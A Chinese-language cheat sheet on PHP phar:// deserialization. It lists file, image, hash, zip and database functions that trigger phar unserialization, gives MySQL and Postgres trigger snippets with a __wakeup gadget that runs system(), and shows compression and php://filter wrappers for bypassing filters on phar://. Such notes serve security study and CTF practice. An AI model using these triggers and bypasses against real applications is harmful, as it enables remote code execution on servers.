Phar://的绕过
Phar的绕过
受害函数
fileatime
/filectime
/filemtime
stat
/fileinode
/fileowner
/filegroup
/fileperms
file
/file_get_contents
/readfile
/ `fopen``file_exists
/is_dir
/is_executable
/is_file
/is_link
/is_readable
/is_writeable
/is_writable
parse_ini_file
unlink
copy
exif | gd | hash | file/url | standard |
---|---|---|---|---|
exif_thumbnail | imageloadfont | hash_hmac_file hash_file hash_update_file |
get_meta_tags | getimagesize |
exif_imagetype | imagecreatefrom***系列函数 | md5_file sha1_file |
get_headers | getimagesizefromstring |
zip函数
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test.txt');
数据库函数
Postgres pgsqlCopyToFile和pg_trace同样也是能使用的,需要开启phar的写功能。
Postgres
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
//pgsqlCopyToFile和pg_trace同样也是能使用的,只是它们需要开启phar的写功能
Mysql
//LOAD DATA LOCAL INFILE触发phar
//先配置mysqld
//[mysqld]
//local-infile=1
//secure_file_priv=""
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'mysql', 3306);
//LOAD DATA LOCAL INFILE
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
phar文件压缩
phar://(文件生成前设置好) | compress.bzip(zlib) | php://filter |
---|---|---|
.tar.gz | compress.bzip://phar://./test.phar/test.txt | php://filter/read=convert.base64-encode/resource=phar://phar.phar |
.tar | compress.bzip2://phar://./test.phar/test.txt | |
.zip | compress.zlib://phar://./home/sx/test.phar/test.txt | |
compress.zlib2://phar://./home/sx/test.phar/test.txt |
php中一些常见流包装器:
file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
参考文章: